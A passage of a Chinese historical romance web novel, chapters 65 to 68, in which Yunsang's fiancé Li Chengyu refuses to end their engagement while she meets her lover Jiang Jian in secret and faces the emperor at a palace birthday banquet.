江见的容貌是热烈而明媚的,就好像日光,一眼就让人璀璨地不能直视,直叹其光耀。 而李承钰是幽美而清雅的,好似月光,柔和中又带着生人勿近的清冷。 也不知怎的,云桑又扯到了江见,一颗心越跑越远,渐渐忘了听曲子。 而李承钰正好发现了这一点,原本浮躁的心情更无法稳定了,干脆停了下来。 琴音止,两人同时抬起头,对视在了一起。 云桑在那双眼睛里看到了怨愤。 第66章 第 66 章 断了 那股情绪转瞬即逝, 只是眨眼的功夫便没了,云桑觉得自己看错了。 李承钰怎会对她泄露出这样的情绪? “仪君。” 定定地盯了她片刻,云桑终于等到了他开口, 只听他可以称得上轻柔地唤了一声她的名字。 对于即将退婚的男女来说, 唤其闺名是有些不应当的, 但云桑不知李承钰此刻心里在想什么,只看着面色不大好, 她没好意思说冷场的话。 许是亲眼看见了自己和江见的亲密,如今又被上门退了婚, 心情不佳吧。 “世子今日专程约我在此,是想说些什么?” 心中存着退婚的心思, 就没必要像寻常未婚夫妻一般培养感情,说些朦朦胧胧的话了。 云桑浅笑着将目光落在李承钰身上,轻得像片羽毛, 不会让人觉得冒犯,也不会让人觉得轻慢。 但这样的目光并不是李承钰想要的, 他想要的是那日, 于上官院判家的喜宴上,她看向那个少年的目光。 仪君几乎从未用那样的目光看过自己, 无论是定婚前, 还是定婚后,亦或者是要退婚的现在。 “那日傅公上门, 说你要退婚,为什么?” 修长的手指抚在琴弦上,公子的动作看起来很是闲适,但一双幽深的眼眸告诉云桑,显然不是这样。 对于李承钰问出的这个问题, 云桑觉得万分诧异。 如果是不 知情的外人问她为何要与李承钰这样一个绝佳的好儿郎退婚,云桑完全可以理解,因为外人什么都不知道。 但李承钰不同,是他随着爹爹找到了她,也亲眼目睹了还没恢复记忆时她与江见之间的亲昵。 他应当一清二楚,不是吗? 这样尴尬的局面,傅家主动来商议退婚不正是识趣之举,破解尴尬局面的心思吗? 为何英王府没有顺势接下,放弃她这个在他们眼中已经“没了清誉”的姑娘,为王府的嗣子另寻良妻呢? 甚至李承钰还要问她为什么。 云桑整个人都陷入了一种混沌中,觉得匪夷所思。 云桑瞪大了眼睛,面上露出了丝丝迷惘,犹豫了几番,迟疑道:“世子为何这样问,你不是都看见了吗?” 这话戳到了李承钰的痛处,抚在琴弦的指腹一颤,一个不轻不重的音倏然间泻出来,在寂静的此刻尤为惹眼。 云桑心一沉,想着这事虽不是她家有意,只因命运无常,但定得好好的一桩婚约,终究是傅家这头先出了事,难免愧疚。 念此,云桑肃然站起,对着端坐在琴案前的如玉郎君长揖致歉道:“此番是我傅家对不住英王府,若是我爹爹未将歉意转达,仪君在此向世子赔个不是,发生这样的意外,我傅家自是不好推脱,思来想去,还是两家退婚,让世子另觅良妻更好。” 虽然退婚之举的确夹杂了云桑自己偏好的私心,但并不全为着私心。 与江见那般亲密相伴了一路,还被未婚夫瞧了个正着,若是还强要这桩婚事,着实有些对不住未婚夫,云桑心中的礼义廉耻也不容她一心二用,左顾右盼,最后谁都对不住更糟。 她从前对情爱一事无知无觉,但现在心意明了,做出这个决定不仅是合乎情理,也由心而发。 李承钰将少女染着愧疚的神情收入眼中,一时间云开雾散,大有茅塞顿开之意。 云桑赔礼时姿态很足,尽是垂着眼眸,没有看到李承钰唇畔那抹带着几分释然的笑。 李承钰早该想到的,傅公何等光明磊落的君子,仪君又是心性纯然清正的姑娘,若是经历了这事还藏着掖着紧扒着英王府不放,那才是怪了。 轻柔的目光划过少女白皙明丽的面颊,李承钰心头微颤,终究是无法割舍。 “英王府不会退婚。” 犹如平地一声惊雷,这句话在云桑脑中炸响,久久未能平息。 “什么?” 云桑觉得自己刚刚一定是耳朵出了问题,才会将本该是“英王府会退婚”听成“英王府不会退婚”。 这简直不可思议,刚想因为自己出岔子的耳朵再追问一句,李承钰大发善心地又重复了一遍。 “英王府不会退婚。” 云桑这下真真切切听了个明白,却是自己压根不爱听的。 铺天盖地的疑惑涌上心头,云桑一时没忍住,嘴快道:“为何不退,我和江见都……” 那样亲密了,还被你看见了,怎么还能不退婚呢? 反应过来,云桑将剩下的话卡在了喉咙里,不好意思说出来了。 但她快速回笼的理智并没有叫李承钰的脸色好转,反而诱发了对方不愿去深想的一层。 李承钰不是人肚子里的蛔虫,也不会读心术,他不知道云桑没有说完的后话是什么,但他想到了别的上面。 仪君生得这般模样,又缺了记忆流落在外,那个出身草莽,一看便不知规矩礼法为何的少年又怎会客气。 怕是早就将仪君…… 李承钰甚至不敢想下去,然一张清俊如玉的脸渐渐泛了青意。 这恐怕是任何男子都无法忍耐的事情,但却在某一日就这么猝不及防地降临在了他的头上。 偏生他还说不出退婚二字。 这一刻,李承钰再稳定的情绪也有些经受不住了,一张脸难看的像是吞了苍蝇,看得云桑也不敢再言语,生怕再度刺激到他。 这样尴尬的局面下,云桑也不好意思坐下,只直愣愣地站着,想着怕是等下便能听到李承钰改口了。 然一阵让人心惊肉跳的寂静过后,云桑又等到了一番不可思议的话。 “我不怪你,仪君,你没有错,都是他的错,只要……” 扶着额沉思了几息,李承钰话语也跟着顿了顿,抬眸凝望着她,一双眼眸含着仿佛被急雨打过破碎的潭水,潭水下涌动着复杂而又沉重的情愫。 “只要你与他断了,不再见他,仪君,你依然是我的未婚妻,日后与我荣华一体。” “今岁的九月十八,我们的婚仪会如期举行。” 李承钰故作平静的语调却掩盖不了他面上抑制不住的狼狈,甚至不敢看她。 云桑每根头发丝都被这几句话震住了,一时间都怀疑自己是不是在做梦,其实自己还在家里睡觉,早饭还没吃。 要不然她怎么会听李承钰说出这么不可思议的话? 心头隐隐有个她觉得有些荒唐的猜测,那就是对方爱极了她,非她不可。 但这话在心间滚了几圈后自己都信服不了,云桑暗暗拧了一把自己腰间的软肉,疼得险些叫出来。 这下才真正确定,她果真不是在梦里,李承钰果真说了那样一番话。 简直不可思议。 见云桑呆呆地没有说话,神情满是不可置信,李承钰猜测可能是因为过于惊喜,毕竟连他自己都不敢信这些话是自己说出来的。 他虽不是天子,但也是一诺千金,自是不会半路再收回来。 打定了主意,李承钰思绪清明了许多,望着还在神色恍惚的未婚妻,施施然站起,走到了呆立着的少女跟前。 “仪君。” 他抬手,方向正是朝着她的手掌而去,似是要牵起她。 意识被拉回来,云桑察觉对方的意图,她的身体比大脑反应得更快,险而又险地避开了那只手,后退了两步。 “不可以!” 回避的动作,拒绝的话语,实打实扫了李承钰刚凝出来的情愫,他沉着脸,看向了略显慌乱的少女,听到了一句轻而有力的话。 “可我喜欢他。” 只这一句轻柔的话,李承钰强装出来的一点体面土崩瓦解。 …… 房门被重重摔出来的声音犹在耳畔,云桑看着浅蓝色的衣袂彻底消失在眼前,她累得倒在了一旁的软榻上,捂着砰砰直跳的心口。 今日一场叙话,云桑一颗心就没安宁过,几番起起伏伏,她早就累了。 先前那一句肺腑之言耗尽了云桑最后一份力气,如今的她再经不起折腾了。 她甚至不敢去回忆当时李承钰铁青的脸,终究是她对不住他。 这下,李承钰应当不会再稀罕她了。 在榻上歇息时,云桑思绪纷飞,只觉得一团糟。 “小姐~” 李承钰负气离开时动静不小,那模样只要不是瞎子都能看出来是被气着了,冯安战战兢兢地跟在主子后面,一句也不敢问,照云则满心都是小姐,立即冲了进来。 将云桑上上下下看了一遭,没看见任何伤痕,这才松了口气。 “吓死婢子了,我瞧世子那脸色,都怕世子对小姐动手呢。” 云桑歇够了,精神气回来了些,闻言笑道:“你这小脑瓜想什么呢,世子怎会这般。” 虽然也曾有短暂的一瞬间担忧李承钰所有的尊严与体面被践踏后会不会迁怒她,但显然这是多余的,英王世子是个十足的君子,不可能做出这种事。 但对方那一副难看的脸色还是将云桑吓了一会,但同时也多了几分愧疚。 入了八月 ,秋意更甚,外头的风也更萧瑟了。 同照云走出天酩楼后,感受到不同于雅间中的干冷,云桑裹紧了身上的薄绒斗篷,细细感受着暖洋洋的日光,眸光轻转,不经意扫到了一个白影。 正是江见,也不知等了多久,环胸靠在柱子上,动作悠哉悠哉的,但神情一点不悠哉。 云桑不可避免要经过他身边,就听见他阴恻恻道:“居然背着我和他私会。” 脸一红,虽然与李承钰没有什么,但此刻被撞个正着,云桑心田也涌出一股没来由的心虚感。 此处人多眼杂,不好在这掰扯,云桑只留下一句“假山后,回去同你说”。 说完逃也似的钻进了车子里,透过帘子掀起的缝隙去偷看,只是一会的功夫,柱子旁边的人便没了。 好了,去假山那里寻人吧。 这一次的江见没有躲猫猫吓唬她,而是就站在最显眼的地方等着,环着胸拉着脸,一看那模样就不高兴,等着她来哄的。 熟练地将人往假山洞穴中带,两人像对钻石头眼的鱼儿,一溜烟就没影了。 照云紧张地左右看了看,生怕像上次一样家主赶来将人捉了个正着。 然紧张了片刻照云忽地想起今日家主上职去了,立即就放松了下来。 瞧她这个死脑子。 “什么,他不愿退婚,还敢让你抛弃我!” “我就知道他不是什么好东西,娘子看我说对了吧,他就是还想娶你!” 话总要一句一句地说,但显然,江见遇上李承钰性子便成了个急躁的,话说到一半就开始骂骂咧咧,气得脸红脖子粗的,看得云桑没忍住笑了出来。 “你还笑?” 自己都快气晕了,见云桑还没心没肺地笑,要不是他还没知道后面发生了什么,他非得将人按着亲得眼泪啪啪掉,看还有没有力气笑! 被江见虎视眈眈,云桑没敢笑多久,推了推自己的腮帮子,强行让自己止住笑。 “不笑了不笑了~” 看着少女假模假样地做出一副严肃的表情,江见哼了一声,长臂一伸将云桑揽进了怀里,似乎是嫌两人高度有差距,他将云桑托到一块到他腰际的石头上。 那个高度,只要云桑一低头,就能亲到。 不过这时候江见更着急后续,没有急着凑上来。 “快说,后面怎么着了,千万别告诉我你答应了,要不然我不会放过…他的!” 两只大掌轻轻松松地掐满了她的腰,江见一番话说得咬牙切齿。 提起最后,云桑笑意也淡了些,毕竟她心中难免愧疚。 “后面就是我说了些对他来说很不好听的话,拒绝了他,他被我气走了。” 又想起李承钰那个难堪的脸色,云桑面上浮现出浅浅的愧疚,转头问江见道:“你怎么知道我们在那,你今日不会跟踪我吧?” 要不然就那么巧在这日这时这个地方撞见了她和李承钰? 掐着她腰的手下了几分力挠了挠她,云桑扭了一下,想踢他一脚,但被江见捏住了脚踝,一个轻掰腰身挤了进来。 这是个足够暧昧的姿势,云桑动了两下合不上的腿,脸又开始升温了。 “谁跟踪了,我恰好路过,看见那个姓李的拉着一张好像吃了屎的脸就出来了,我就好奇是谁给他气受,便好奇在外面等了片刻,就看到娘子你了。” “当时可把我气死了,不过我太好奇娘子你说了什么才让他那么生气,说给我,让我也乐呵乐呵呗~” “经由娘子的嘴说出来的,能让他不高兴的话肯定能让我高兴高兴!” 不得不说,江见的猜测异常敏锐,将李承钰气得摔门而去的话确实是江见爱听的。 不过云桑的脸皮不允许当着江见的面再说一次,为了让江见不再问,她开始转移话题。 “也不是什么特别的,就是不想嫁他之类的话,虽然他没有明说要退婚,但瞧那模样,估计很快就会将婚书送回来了。” 在自己这里经受了这样的“羞辱”,被她明明白白拒绝,云桑不信李承钰那样顶顶出色的儿郎还能忍气吞声迎娶自己。 说不定今晚就会将婚书和定亲信物送回来。 江见看着少女笃定的眉眼,又是一番怀疑道:“就怕他还不愿呢。” “少胡说,乌鸦嘴。” “好啊,你敢骂我,让你尝尝我这乌鸦嘴的厉害!” 很快,嬉闹声消失,取而代之的是粗浅不一的喘息声,还有隐隐约约的啧啧水声,引人遐想。 第67章 第 67 章 投壶 当夜, 云桑期待的婚书没有被送到,不仅如此,整整三日英王府那边都没有动静。 云桑渐渐有些坐不住了, 要不是先前跟李承钰闹得那般难堪以致于不欢而散, 她都想去信问问是怎么回事了。 李承钰是个风雅又含蓄的公子, 就算是定了亲事后也没有寻常未婚夫妻那般黏糊热烈,比未定下亲事前, 只是会多主动上来与爹爹和她说上几句话,平时送些东西上门以表亲近, 还有就是写信。 其实信上并无什么有意义的话,不过就是些闲言碎语, 今日看到了一株很美的海棠,明日瞧见了粼粼水色,用了一道美味的点心, 读到了一句极好的诗文。 信纸都是选用长安流行的各色花笺,再配上那首清隽飘逸的字, 实在赏心悦目, 可见主人风姿翩翩。 云桑其实不大会应对这样的事情,每次回信都要绞尽脑汁许久, 才能回一封同样看着风雅得体的信件。 可现在将人得罪干净的云桑不敢再去什么信了, 怕是李承钰看见她的信都得黑脸。 也正是这几日心神恍惚,云桑没有心情去探究江见这几日去忙什么了, 只记得又一夜他竟没来找她,也不知是做什么去了。 正焦灼着,宫里来了帖子,是熙宁公主,前段时间说是陪同母亲刘德妃去护国寺礼佛, 如今回来了。 想来是为了卡着自己的生辰,紧赶慢赶回来了。 正巧,得知自己这个当初伴读的小姐妹从蜀地回来了,自然也叫上了她。 熙宁公主是当今圣上最小的女儿,加上性子活泼伶俐,也得了陛下几分宠爱,此次熙宁公主的生辰宴必定热闹非凡。 回忆上一次参加长安的宴席,恍若隔了好多年,云桑甚至都产生了一丝诡异的陌生感。 公主下帖子邀她,云桑自不会拒绝,压着满腹心事过去了。 …… 天还没亮,伏家的宅子里便乱成了一锅粥,因为晨间起来侍奉的伏家仆从敲了几次门都无人应答,最后破门而入后发现了那具流了一地血的尸身。 正是他家主人,伏陶,是被人一剑封喉的死法。 伏陶的死讯立即四散开来,传遍了长安,无数人拍手称快。 为了不被人察觉,江见回来的时候没有走门,直接从高墙翻了进来,手脚放得很轻,没有惊动一草一木。 因为回来得太晚,江见想着娘子应当睡熟了,便不去扰她安眠了。 回到自己的房间,因为今日嘴巴没能得到满足,江见在床上辗转反侧了许久才睡下。 因为要等着消息散播开来,江见没有急着早起,而是少有的懒懒散散多睡了片刻。 反正娘子那边也不能进,不如躺会算了。 日头高升,江见估摸着时间到了,临走前先去娘子的明静院转了一圈,发现人进宫参加什么生辰宴了,一眼都没瞧见,江见带着遗憾去了崔宅。 他仍是翻墙进去的,但只是为了方便,不为别的。 崔和因为受了伤的缘故,陛下准了他好些日的假,一大早听到了伏陶身死的消息,崔和心情豁然开朗。 江见来的时候,见到的就是一个面色红润,龙马精神的崔和。 也不耽误时间,见书房就崔和一个人,江见开门见山地索要起了血灵芝。 崔和倒也识趣,早早将血灵芝从库房找了出来,盛放在紫檀木的匣子里,没有阖上盖子,一株血红色的灵芝草,隔着一段距离仿佛都能闻到上面散发出来的血腥味。 江见眼睛一亮,就要上前就收取报酬,被崔和拦住了。 “且慢。” 前路被挡,江见眉一挑,半开玩笑看着崔和道:“御史大人不会是要反悔吧,我劝你最好不要,因为食言而肥的人不会有好下场哦~” 眉眼漂亮的少年笑着,灿烂得像是春日的朝阳,但那句含着笑意的话确实阴森森的,崔和从中窥出几分冷意。 虽然不是那等心思,但感受到对方晦暗危险的情绪,崔和心里还是咯噔了一下。 目光在少年腰间的细长剑身上闪过,他不仅想起了伏陶那老匹夫的死因。 一剑封喉。 不由得打了个冷颤,一改往日里的古怪傲慢,笑呵呵道:“哪里,阁下误会了,只是想提醒阁下几句,那老匹夫虽然于国于民是个奸佞蛀虫,但终究是陛下面前的红人,阁下气魄广大,但也需暂避锋芒,不如早早离了长安,避避风头如何?” 这不仅是为这胆大的少年考虑,也为着自己。 万一这小子落网给自己供出来了,尽管陛下不会为了一个已经断气的谄媚之臣将他如何,但闹出来总是不好看,不如一直掩着。 其实死人是最能保守秘密的,但崔和此人尚有良知,这少年救了自己一命,他自不能做这样丧良心的事。 说完,崔和将血灵芝拿来递给江见,态度良好,打消了江见的怀疑。 没有要那个匣子,对江见来说随身带个匣子并不方便,他只是将其中的那颗肉乎乎的灵芝拿走装在了随身的布袋里。 “我还有事,暂时不会离开长安,不过你也不用担心,没人能抓住我的。” “不说了,走了。” 看着少年远去的背影,崔和再次感叹这少年小小的年纪肥壮的胆子。 得了血灵芝,江见没耽搁时间,带着所有的药材去了上官家。 刚娶了媳妇的人没有立即往药王谷跑,正老老实实待在家和自个娘子蜜里调油。 因为有两件要紧事,江见把正陪着金阳县主荡秋千的上官朔叫了过来。 看到那株血灵芝,上官朔纵然见惯了天下无数草药都稀罕得不行,将其捧着看了好半天才舍得放下。 “待你回药王谷的时候记得把药材都带回去,莫神医这下应当能制出解药了。” “记得一定要小心,我可就遇着这么一株。” 上官朔满口应道:“把心放回肚子里,等过几日我就带我娘子回药王谷见见师父他老人家,正好将药材都带回去让师父研究。” “你有空也回一趟长亘山跟凌师父说一声,让他来药王谷就行。” 听得这样的话,江见放心了,应了一声好,又略显鬼祟地提起了另一桩要紧事。 “咳咳~” 想起上次还被上官朔狠狠嘲笑了,江见神情有些尴尬,磨磨唧唧地将自己的诉求说了出来。 “你那有没有能那种药?” “哪种?” 上官朔一时没能意会江见的意思,好奇反问了一句。 江见急了,干脆道:“就是能让人做生小娃娃的事但又不会真生出小娃娃的药!” 知道上官朔会看自己笑话,江见说话的时候耳根子都红了,实在丢脸。 这下上官朔这厮该知道个彻底了,他什么都没干成。 果然,上官朔毫不顾忌他心情的笑了一场,在江见快要发火之前止住了笑。 “不瞒你说,那等药我也在研制,不过还未成,毕竟想要不伤身又能十足十地防住子嗣是十分有难度的,但放心,我快研制好了。” “不过,如果兄弟你实在等不及的话也可以用点别的,比如羊肠鱼鳔什么的,不过那些兄弟不敢保证万无一失。” 原本江见还对那什么羊肠和鱼鳔有点兴趣,一听不能保证万无一失,他又没兴趣了。 还是等上官朔那个更稳妥的药吧,万一贪快寻了不靠谱的,哪天自己太过火不小心让娘子有了身孕就不好了。 生小娃娃真是个危险的事情,他不能掉以轻心。 回到傅家的时候,见娘子还未归来,江见便去宫城外游荡了一圈,见里面守卫还怪森严,本着不惹麻烦的想法便没有逞能,转头又跑到街上了。 买些好吃好玩好看的东西,等娘子回来正好给她。 做出决定,江见美滋滋离开了。 …… 皇宫,熙宁公主的生辰宴上,云桑尽量让自己显得存在感弱些,但这很难。 作为今日的寿星,熙宁公主李玉纨穿着一身朱红色曳地撒金裙,裙尾是鸾鸟镶着宝石翡翠的羽翅,日光一照,璀璨生辉。 这是一身十分艳丽富贵的妆扮,若是容貌清淡些都会压不住这样的一身,但李玉纨生就了一副娇艳的好模样,与这身相得益彰。 “仪君,怎么一个人坐在那里吃茶,不如与我们一道投壶!” 如她大气明艳的容貌一般,李玉纨是个性情爽朗明快的姑娘,只是性子直了些,没少怼过一些惹她烦心的长安贵女,暗地里得了个跋扈泼辣的名声。 不过她待自己一直都不错,云桑与她关系一直都不错。 见云桑一人单着,李玉纨抽身出来寻她,笑容明媚道。 云桑紧张地看了一眼某个方向,讪讪笑道:“殿下知道的,我投壶又不好,还是不过去凑热闹了。” 云桑此刻心中欲哭无泪,因为她没料到李承钰也在这里。 记得李承钰这个性子一向不喜参加什么宴席的,怎的熙宁公主只是生辰小宴他怎的就来了? 猝不及防对上李承钰,云桑心虚得手都不知道往哪摆了。 偏生对方看着也比平日更冷了,眼风都不忘这里扫一下,不像往日,会主动过来寻她说些话,或者做些消遣时间的事情,比如弈棋。 如今故意摆出的这副模样,明眼人都能看出两人之间不似以往的怪异。 李玉纨性子明快,心思也是细腻的,一会的功夫便将二人之间不对劲的滋味品出来了,也不提投壶了,挤眉弄眼道:“怎么,侄媳妇儿,跟我那侄儿闹别扭了?” 李玉纨一惯是个嘴上抹油的,此刻又像往常那样打趣起了云桑。 “殿下莫要如此开玩笑了,叫人听到了不好。” 云桑一听这话,立即肃起了一张脸劝道。 以前听到这话是不合体统,现在不一样了,又不合体统又不合适,她生怕熙宁嗓门大了被旁人听到,尤其是李承钰,那得多尴尬。 “哦,那是闹别扭了。” 将云桑避之不及的小动作收入眼中,李玉纨笃定地说了句。 对于自己这个侄儿,李玉纨心里有数,什么都逃不过她的法眼。 以前大家伙都在皇宫读书时便已初见端倪,只是李玉纨不想说罢了。 每次她被夫子罚抄书时,这侄儿就稍显善良地过来要帮她这个小姑姑分担,一开始李玉纨还以为李承钰真对她这个小姑姑有几分孝敬尊崇。 后来才发现,这小子帮她分担是因为自己一被罚抄,身边的小伴读就也得帮着她一起抄。 但李玉纨发现,有次小伴读不在,但她被夫子罚了五十遍,这小子就稳稳坐在那,一个字都不帮忙抄,甚至还在她开口时找理由推脱。 什么手腕不适,都是屁话! 还有,她这侄儿时不时从家中带些糕饼过来吃,且大方地分发给书院每个人。 后来李玉纨慢慢发现,其实这些糕饼每一个都是傅家小伴读平日最喜欢吃的。 但她意识到的时候已经晚了些,没多久英王府和傅家就定亲了,害得她想攻其不备都丧失了先机。 但如今,就在她的生辰宴上,她那侄儿竟一反常态冷着脸坐那不动,丝毫没有要过来的意思。 再看仪君,一脸心虚,明显就是闹别扭了,应当还是仪君将人给气着了。 虽然不知是什么原因,李玉纨由衷佩服仪君,居然能将自己这个侄儿气成那样,脸都跟冰坨子一样。 不过还愿意来就是有希望,李玉纨心想。 她想到了一个好主意,立即就行动了。 先是 云桑被拉到了人堆里投壶,壶矢刚拿到手里,还未投出去,就见熙宁使劲浑身解数将李承钰拉了过来。 美其名曰教她投壶。 云桑差点没拿稳壶矢,都想寻个地缝钻进去,然后遁地回家去。 但偏偏熙宁此举又算合情合理,她不善投壶,李承钰十分擅长,让未婚夫来教她这个未婚妻,再合适不过了。 但熙宁哪里清楚她和李承钰如今的尴尬,仍一脸笑嘻嘻的,以为自己干了月老的差事。 拿着手里的壶矢,原本就是个准头差的,如今更没有一丝准头了,那一箭空得天经地义。 只听到脚步声靠近,不似女子的轻盈,还带着一股熟悉的香味,那种清幽温雅的,仿佛带着浸着雪水的梅花香。 是李承钰一惯爱用的雪中春信,几乎可以靠香识人的地步。 终于,一根壶矢倏地划过眼前,稳稳落进了壶中,赢得一片喝彩。 “投壶要看准壶口,手腕上的力道也要合宜,静气凝神,莫要分心。” 李承钰今日穿了一身宽袖白袍,余光还能瞥到他白袍上的金丝银线绣成的寒梅孤鹤,衬着今日的人愈发冷傲清寒了。 “是。” 云桑下意识就想往旁边闪一闪,但又怕这样明显的退避会让人本就不佳的心情雪上加霜,故而没敢动,只低低应了一声,听起来十分可怜。 李承钰瞥了一眼,看到的就是少女垂首抿唇的模样,白皙的侧脸在日光下如一块奶白的玉。 他甚至都没有触碰过未婚妻的脸,李承钰鬼使神差地冒出了这个念头,心中隐隐带着不忿。 啪嗒。 高度的紧张之下,这一矢又不出意料地空了,云桑想叹气,但李承钰在身边她大气都不敢喘。 “我都说了我学不会这个的,还是不在这献丑了。” 朝着熙宁讪笑一声,云桑就像离开,躲得远远的。 但没能成,一支壶矢横在她跟前,阻了她的去路,云桑一看,正是她此刻最不愿面对的李承钰。 “我来教你,拿着。” 云桑想跑也跑不了,还以为李承钰只是想在旁边言语提点她,便硬着头皮站着了。 然刚接过壶矢抬起手腕,李承钰忽地绕到了她身后,以一种半包围的姿态将她围进了怀中,大手轻轻捏住了她执着壶矢的手,全然是要亲手指导的意思。 但这一切太突然了,猝不及防的靠近和亲密瞬间让本就绷着一根弦的云桑乱了阵脚。 第68章 第 68 章 婚期 如果心绪平稳, 云桑一定知道她应该前进才能从李承钰怀中退出来,然心绪纷杂的她却是下意识后退了,不出意外绊在了身后人的脚上, 直接身子不受控往后跌了过去。 很明显, 云桑身后就是李承钰, 如果他想恶意报复她退婚以泄心头之气,他应当会闪开, 然后任由自己狼狈地摔在地上闹笑话。 显然云桑将他想得无情了些,李承钰并没有那样恶劣, 借此报复自己。 后腰一热,雪中春信的香气盈满周身, 对方非常自然地托住了自己的后腰,另一只手改成捏住了她的手腕,两人就那么贴到了一块。 纵使两人头上还顶着婚约, 四下瞧见两人这般也开始嬉笑私语,一副起哄的热闹场景。 熙宁在一边抚掌, 笑容欣慰。 反应过来, 云桑立即从李承钰怀中弹出去好几步,一张脸涨成了猪肝色, 然旁人看来都以为是她羞了。 “失礼了, 世子。” 李承钰面不改色地看着人弹出去,冷着一张脸回了句无碍, 只方才托完少女纤柔腰肢的手在大袖下悄然摩挲了一下。 “哈哈哈~” 正在这时,一阵威严又爽朗的笑声忽然响起,将众人都惊了惊了。 云桑自小到大是时常进宫的那批官家千金,自然识得这声,忙随着众人一道跪拜。 “陛下万年。” 此人正是当今陛下, 如今年号承宁的天子,李邺。 看着呼啦啦跪了一地的孩子们,再不复先前的悠闲热闹,李邺有些不得劲,眉心一蹙,沉声唤了句起身。 已是花甲之年的承宁帝虽然清瘦了不少,但依旧不显瘦弱,只头发花白了许多,仍保留着年轻时的威武。 这是一个威严而刚肃的帝王,不管是在青春盛年,还是如今的花甲年岁,从来都是说一不二、雷厉风行的铁腕风格。 这样的帝王若是行差踏错极容易步入残暴之君的行列,但好在陛下还算伟正,只除了在章懿太子上昏聩一次,犯了个终身悔恨的错,其余倒没有什么可过于挑拣的。 这是爹爹私下对陛下的评价,云桑每每听了都惋惜当年的章懿太子。 在爹爹口中,当年的章懿太子既有陛下的铁血手腕,又比陛下多了一份宅心仁厚,是个文武兼得的贤明储君,有这样一位继承人,对一个王朝来说是难能可贵的。 那时爹爹刚登科,还是翰林院一个七品小官,对着这样一个储君可以说是满怀期待的,可惜命运弄人,爹爹一心要追随的明主夭折了。 章懿太子一家五口,全都葬送在了陛下一时糊涂上,想必整个天下都找不出比陛下本人更痛苦的存在了。 听熙宁说,九皇孙刚出生时天降甘霖,解了连月来的干旱,农人喜笑欢颜,陛下觉得这个孙子是个有福气的,抱着九皇孙在殿内走了好几圈,笑声震得怀中婴孩哇哇哭了好一阵。 谁能想到,不过月余,陛下便亲手了解了这一家人的性命,实在滑稽地令人悲叹。 当初的阴影似乎始终笼罩在陛下头上,云桑每次瞧见他时都觉得他眉宇间带着深深的郁气。 承宁帝大步走来,着一身玄纁二色的龙袍,肩挑日月,背负星辰,随意摆动的袖口隐约可见山海与华虫。 极尽帝王威严与尊贵,让人目不敢视。 “父皇这么晚才过来,我还以为父皇不来了呢!” 熙宁是个得了承宁帝几分宠爱的公主,说话也骄纵大胆些,承宁帝听着也只是笑眯眯的。 “你这丫头,不过晚来了些,瞧说得什么话!” 自然而然地坐在了主位上,承宁帝看着眼下一群提裙拂袖起身的年轻人,想起刚才看到的一幕,一双深邃又沧桑的双目落在了某一对人身上。 “远远瞧着便像,近了看果然,少年人就是血气方刚爱黏糊,不过也是人之常情,朕好似记得你们二人的婚期便是下月,是哪一日?” 虽然没有提名提醒,但承宁帝的目光很是清晰直白,又带着一嘴婚期,在场自然都知道是在问谁了。 云桑先前那一遭的心绪还未完全平下去,此刻忽然被陛下一点,点的还是她眼下最着急的婚事,一口气堵在心口不上不下的。 她该怎么跟陛下说,她正在等着你家孙子点头退婚,但迟迟未等到呢? 念此,云桑没忍住悄悄瞥了李承钰一眼,眸中尽是催促之意。 但李承钰并未回应她,目不斜视地回着陛下的话。 “回皇祖父,正是下月,下月十八。” 一板一眼的,神情都没有什么波澜,看不出任何异样,如往昔一般。 就好像什么事都没发生过异样,云桑听着他自然又流畅的语调,一颗心浮浮沉沉。 罢了,也许他不想将这事放在明面上,也如她一般想着悄悄了结吧。 承宁帝将婚期听入耳,点头笑道:“下月十八,那便快了,孙儿辈的婚事上一次还是景王家的老二,都是两年前的事了,到时候可要热热闹闹地办一场,给咱们家添添喜气才是。” “朕记得你们小时候,在那年的中秋宫宴上,就像一对小福娃,当时德妃指给朕看的时候朕就想点个娃娃亲的,但又怕傅卿这个女儿奴不舍得,便没有开口,没想到多年后你们还是成一对了,倒是缘分~” 承宁帝絮絮叨叨的,云桑沉默着,尽力管控住自己的嘴,生怕自己没眼力见地上去反驳,触陛下的霉头。 哪里来的缘分,是快要尽的缘分才对。 不敢同陛下犟嘴,云桑只心里碎碎念,再然后就是用余光去看李承钰的脸色。 也不知是不是她眼睛花了,她竟然看见对方在笑? 虽然很淡,但还是被她捕捉到了,一丝转瞬即逝的淡笑。 “傅家丫头的伤好全乎了吗?” 絮絮叨叨的陛下忽然将话头转到了云桑身上,心里一咯噔,连忙回神应答。 “回陛下的话,都好了,劳烦陛下挂心。” 因为这桩家丑不太能遮得住,爹爹为保全她的名声,将她遭的难改造了一番,对外言说的是她在蜀地遇刺,逗留在那养伤一段时间,而二婶加害她的缘故则归结于上一代的爱恨情仇,爹爹亲自将缘由背了过去,同时也掩盖了江见的痕迹。 英王府素来与傅家无冤无仇,甚至可以称得上一句融洽和睦,只要不存心跟傅家作对,都不会背后捅刀子,所以说此法算是目前最稳妥的一个。 就是目前李承钰的态度太过模糊不明,云桑实在是猜不透他到底在想些什么。 “你这丫头也算是个有福气的了,跟我这三孙子十分相配,朕都迫不及待喝口喜酒了。” 云桑笑意勉强,努力遮掩住自己的不情愿道:“陛下谬赞。” 眼看下个月便是婚期,再不退,她怕是真要嫁出去了。 不行,待会还是得私下与李承钰谈谈,就算是再得罪一次,她也不能畏缩不前。 老天爷像是听到了她的心里话,勤政殿侍候的小内侍过来了,带来了一则要事。 尚书右仆射昨夜被刺身亡了,凶器为剑刃。 零零碎碎的东西在云桑脑中纷飞,神奇地拼凑出了一个真相。 御史大夫崔和被刺,江见为换血灵芝应下崔和一个条件,伏陶忽然被刺,刺客用剑。 一桩桩事流畅地串联了起来,云桑愈发心惊。 再看陛下,果然面色沉了下来,匆忙回了勤政殿。 纵然伏陶再奸诈谄媚、鱼肉百姓,但作为陛下亲自提拔上来的官员,在天子脚下被刺杀,这无疑于在打陛下的脸。 今日能杀大臣,是不是明日也能杀皇亲国戚,后日是不是危及天子? 为帝者总是要比旁人思量得多些,也忧虑得多些,这对于承宁帝来说并不是一件小事。 目送陛下离去,云桑捂着感受着心口噗通噗通的心跳,觉得一切都乱了起来。 这要真是江见做的,那她得多大胆啊! 但此刻不是惆怅这件事的时候,她得跟李承钰谈谈才是。 饮了两盏温过的果酒,云桑借口出去透透气,示意宫女给李承钰递个口信,邀他到御花园附近的自雨亭中。 因为顶着婚约,两人间的那点龃龉外人无从知晓,都以为是未婚夫妻要借机亲近,听到云桑的交代还露出个饱含深意的笑。 云桑看懂了,但没心思计较这个,先行赶去了亭子。 